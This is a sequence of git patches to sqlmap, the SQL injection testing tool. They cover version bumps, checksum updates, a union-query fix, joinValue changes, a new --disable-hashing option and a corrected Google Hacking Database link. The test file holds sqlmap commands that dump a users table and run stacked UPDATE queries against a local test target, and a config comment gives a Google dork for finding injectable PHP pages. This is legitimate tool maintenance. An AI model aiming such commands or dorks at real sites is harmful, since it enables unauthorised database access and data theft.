1 + 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6c38f6ff60e..7a182bd65c9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -43bcfd3c7edeaf35e7186ac106abaca93cd19f3e941aa7978dd213b0d30bfda0 lib/core/settings.py +a5cbfdbcdc7ff49d55b83d9b9944036d0950fbdce07f06fdace048b109e9e198 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -460,7 +460,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v 3c163c8135e2ab8ed17b0000862a1b2d7cf2ec1e7d96d349ec644651cdecad49 plugins/dbms/virtuoso/syntax.py 7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py -4e150d82261308071180fe3595c2dbd777c1a3c58a6b71352df11f96db0b846e plugins/generic/custom.py +3a149974234d561d4083fae719e55529e8537a87240d60e518d967dfc04dc182 plugins/generic/custom.py 3d118a7ddb1604a9f86826118cfbae4ab0b83f6e9bef9c6d1c7e77d3da6acf67 plugins/generic/databases.py 96924a13d7bf0ed8056dc70f10593e9253750a3d83e9a9c9656c3d1527eda344 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 725ffb48758..f5c785654aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.5" +VERSION = "1.8.11.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 308f7b887da..9c4598e6a1a 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -16,6 +16,7 @@ from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import joinValue +from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger From 07b94ce7037d1524e3da5f09b3a6fe0cc7809cfe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 15 Nov 2024 18:31:14 +0100 Subject: [PATCH 119/853] Fixes #5799 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7a182bd65c9..04abf993103 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -a5cbfdbcdc7ff49d55b83d9b9944036d0950fbdce07f06fdace048b109e9e198 lib/core/settings.py +21ced71b8db133032ecc94a26e8855c6e7ad709684c8a5a97b4b6d9f0f488c9a lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -240,7 +240,7 @@ f948fefb0fa67da8cf037f7abbcdbb740148babda9ad8a58fab1693456834817 lib/techniques 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/techniques/__init__.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/techniques/union/__init__.py 700cc5e8cae85bd86674d0cb6c97093fde2c52a480cc1e40ae0010fffd649395 lib/techniques/union/test.py -a78235881a80d2ce8a069a3c743b4af415ed6f0a54b120190909d1e206048259 lib/techniques/union/use.py +74ecbeff52a6fba83fc2c93612afd8befdbdc0c25566d31e5d20fbbc5b895054 lib/techniques/union/use.py 6b3f83a85c576830783a64e943a58e90b1f25e9e24cd51ae12b1d706796124e9 lib/utils/api.py e00740b9a4c997152fa8b00d3f0abf45ae15e23c33a92966eaa658fde83c586f lib/utils/brute.py c0a4765aa80c5d9b7ef1abe93401a78dd45b2766a1f4ff6286287dc6188294de lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f5c785654aa..31ba7daae39 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.6" +VERSION = "1.8.11.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 982861b2dac..f1b8ca74d01 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -261,7 +261,7 @@ def unionUse(expression, unpack=True, dump=False): if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True if Backend.isDbms(DBMS.MYSQL): - query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1) + query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.ORACLE): query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.SQLITE): From 935afc6217971b4429a427edb6cb809182c12853 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 15 Nov 2024 18:37:49 +0100 Subject: [PATCH 120/853] Minor patching for CI/CD --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 04abf993103..58334d7c283 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,11 +188,11 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -21ced71b8db133032ecc94a26e8855c6e7ad709684c8a5a97b4b6d9f0f488c9a lib/core/settings.py +87ac915591f705fd6def305b0f88128db01bad7e09725da4c33cef01f7785380 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py -970b1c3e59481f11dd185bdde52f697f7d8dfc3152d24e3d336ec3fab59a857c lib/core/testing.py +6d6a89be3746f07644b96c2c212745515fa43eab4d1bd0aecf1476249b1c7f07 lib/core/testing.py 8cb7424aa9d42d028a6780250effe4e719d9bb35558057f8ebe9e32408a6b80f lib/core/threads.py ff39235aee7e33498c66132d17e6e86e7b8a29754e3fdecd880ca8356b17f791 lib/core/unescaper.py 2984e4973868f586aa932f00da684bf31718c0331817c9f8721acd71fd661f89 lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 31ba7daae39..1aed0ced08f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.7" +VERSION = "1.8.11.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index bb6af1ab6ff..debec5a6a75 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -74,7 +74,7 @@ def vulnTest(): ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), - ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "'987654321'",)), + ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5,foobar,nameisnull", "'987654321'",)), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) From 4b2baa32c378c8ace12790b2866bf4202dd5d19d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 16 Nov 2024 18:54:15 +0100 Subject: [PATCH 121/853] Fixes #5806 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/custom.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 58334d7c283..15992a6c1e7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -87ac915591f705fd6def305b0f88128db01bad7e09725da4c33cef01f7785380 lib/core/settings.py +44329ed066f94f1dc8262869b6e45ea6095e5811eb486b7a2a24ea7590fe8e12 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -460,7 +460,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v 3c163c8135e2ab8ed17b0000862a1b2d7cf2ec1e7d96d349ec644651cdecad49 plugins/dbms/virtuoso/syntax.py 7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py -3a149974234d561d4083fae719e55529e8537a87240d60e518d967dfc04dc182 plugins/generic/custom.py +ef413f95c1846d37750beae90ed3e3b3a1288cfa9595c9c6f7890252a4ee3166 plugins/generic/custom.py 3d118a7ddb1604a9f86826118cfbae4ab0b83f6e9bef9c6d1c7e77d3da6acf67 plugins/generic/databases.py 96924a13d7bf0ed8056dc70f10593e9253750a3d83e9a9c9656c3d1527eda344 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 1aed0ced08f..4f58cf9cb79 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.8" +VERSION = "1.8.11.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 9c4598e6a1a..047662a995e 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -65,7 +65,7 @@ def sqlQuery(self, query): output = inject.getValue(query, fromUser=True) - if "SELECT" in sqlType and isListLike(output): + if sqlType and "SELECT" in sqlType and isListLike(output): for i in xrange(len(output)): if isListLike(output[i]): output[i] = joinValue(output[i]) From 10f8b7d0e2deadcbe2de97ed08a02a121f58540e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 19 Nov 2024 12:21:23 +0100 Subject: [PATCH 122/853] Fixes #5809 --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 4 +++- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 15992a6c1e7..8c9e31dba72 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py c2966ee914b98ba55c0e12b8f76e678245d08ff9b30f63c4456721ec3eff3918 lib/core/bigarray.py -9e3c165eee6fbe2bc02f5e7301bca6633ff60894a5a8ec5b3622db2747bd5705 lib/core/common.py +c3374a08bac5f052e25cd7e8287b38a6b30d7aa289997c7a44457be8a43bcf6a lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -44329ed066f94f1dc8262869b6e45ea6095e5811eb486b7a2a24ea7590fe8e12 lib/core/settings.py +e3552357f6b0180ee44c18ddde447592eb26e34a82186bd672a5ba5b7a3a71fb lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 56bb692642d..fb83ca07474 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3716,10 +3716,12 @@ def joinValue(value, delimiter=','): '1,2' >>> joinValue('1') '1' + >>> joinValue(['1', None]) + '1,None' """ if isListLike(value): - retVal = delimiter.join(value) + retVal = delimiter.join(getUnicode(_) for _ in value) else: retVal = value diff --git a/lib/core/settings.py b/lib/core/settings.py index 4f58cf9cb79..fe32f5ac4f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.9" +VERSION = "1.8.11.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cc245a0d0563b519b37db8faa5d1abb1672b9f8e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 19 Nov 2024 13:25:41 +0100 Subject: [PATCH 123/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8c9e31dba72..9d5c0f9f612 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py c2966ee914b98ba55c0e12b8f76e678245d08ff9b30f63c4456721ec3eff3918 lib/core/bigarray.py -c3374a08bac5f052e25cd7e8287b38a6b30d7aa289997c7a44457be8a43bcf6a lib/core/common.py +d4d550f55b9eb8c3a812e19f46319fb299b3d9549df54d5d14fc615aeaa38b0e lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -e3552357f6b0180ee44c18ddde447592eb26e34a82186bd672a5ba5b7a3a71fb lib/core/settings.py +5072218a58696b0bd425421022e557da29b32a54ea181686c83b4130b6edf1ee lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index fb83ca07474..a2413247d82 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3721,7 +3721,7 @@ def joinValue(value, delimiter=','): """ if isListLike(value): - retVal = delimiter.join(getUnicode(_) for _ in value) + retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) else: retVal = value diff --git a/lib/core/settings.py b/lib/core/settings.py index fe32f5ac4f4..c37a158f6c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.10" +VERSION = "1.8.11.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 235821963161566e4b80f0ef9e729cac9827389d Mon Sep 17 00:00:00 2001 From: tanaydin sirin Date: Wed, 4 Dec 2024 10:02:17 +0100 Subject: [PATCH 124/853] Fix for Google Hacking Database URL (#5824) --- sqlmap.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sqlmap.conf b/sqlmap.conf index 5b1a1027157..b4efebcf99e 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -27,8 +27,8 @@ requestFile = # Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google -# dorks see Johnny Long Google Hacking Database at -# http://johnny.ihackstuff.com/ghdb.php. +# dorks see Google Hacking Database at +# https://www.exploit-db.com/google-hacking-database # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = From 7584a6742223f13706255be9fa74ec717ab2e24d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 Dec 2024 10:03:18 +0100 Subject: [PATCH 125/853] Dummy update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9d5c0f9f612..d2a724b00cb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -5072218a58696b0bd425421022e557da29b32a54ea181686c83b4130b6edf1ee lib/core/settings.py +85fbc4937c4770c8ff41ebfff13abfcdbc1fda52fab8ce05568b3f6309bd4b35 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -476,7 +476,7 @@ fff84edc86b7d22dc01148fb10bb43d51cb9638dff21436fb94555db2a664766 plugins/generi 5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md 78aafd53980096364f0c995c6283931bff505aed88fed1e7906fb06ee60e9c5b sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml -5e172e315524845fe091aa0b7b29303c92ac8f67594c6d50f026d627e415b7ed sqlmap.conf +005b240c187586fbdb7bab247398cad881efec26b6d6a46229a635411f5f207e sqlmap.conf 3a18b78b1aaf7236a35169db20eb21ca7d7fb907cd38dd34650f1da81c010cd6 sqlmap.py adda508966db26c30b11390d6483c1fa25b092942a29730e739e1e50c403a21f tamper/0eunion.py d38fe5ab97b401810612eae049325aa990c55143504b25cc9924810917511dee tamper/apostrophemask.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c37a158f6c9..6693905e8ea 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.11" +VERSION = "1.8.12.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -60,6 +60,9 @@ LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 +# For filling in case of dumb push updates +DUMMY_JUNK = "Gu8ohxi9" + # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" @@ -907,9 +910,6 @@ # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" -# For filling in case of dumb push updates -DUMMY_JUNK = "Ataiphi2" - # Printable bytes PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) From 1a9fc81fe5b32b332a50babd2e0ab46e6e2d8952 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Dec 2024 10:43:26 +0100 Subject: [PATCH 126/853] Implements --disable-hashing (#5827) --- data/txt/sha256sums.txt | 10 +++++----- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ plugins/generic/entries.py | 15 +++++++++------ sqlmap.conf | 4 ++++ 6 files changed, 23 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d2a724b00cb..3addf9cd708 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,7 +180,7 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts 0379d59be9e2400e39abbb99fbceeb22d4c3b69540504a0cb59bf3aaf53d05a9 lib/core/gui.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/core/__init__.py fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py -4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py +ae2300d0763e0be6c9c14318aa113f4ff118c3cd425507700c1a88ea57f716b8 lib/core/optiondict.py c727cf637840aa5c0970c45d27bb5b0d077751aee10a5cd467caf92a54a211f4 lib/core/option.py d2d81ee7520b55571923461a2bdfaa68dda74a89846761338408ab0acf08d3a5 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -85fbc4937c4770c8ff41ebfff13abfcdbc1fda52fab8ce05568b3f6309bd4b35 lib/core/settings.py +55eea0809b374871132885b05c0d637e3ccd53d78656d58baca2cd26c75619e6 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -199,7 +199,7 @@ ff39235aee7e33498c66132d17e6e86e7b8a29754e3fdecd880ca8356b17f791 lib/core/unesc ce65f9e8e1c726de3cec6abf31a2ffdbc16c251f772adcc14f67dee32d0f6b57 lib/core/wordlist.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/__init__.py ba16fdd71fba31990dc92ff5a7388fb0ebac21ca905c314be6c8c2b868f94ab7 lib/parse/banner.py -d757343f241b14e23aefb2177b6c2598f1bc06253fd93b0d8a28d4a55c267100 lib/parse/cmdline.py +bf050f6de23caf82fb3d97b5efd5588398ab68e706e315cc449c175869cb5fb4 lib/parse/cmdline.py d1fa3b9457f0e934600519309cbd3d84f9e6158a620866e7b352078c7c136f01 lib/parse/configfile.py 9af4c86e41e50bd6055573a7b76e380a6658b355320c72dd6d2d5ddab14dc082 lib/parse/handler.py 13b3ab678a2c422ce1dea9558668c05e562c0ec226f36053259a0be7280ebf92 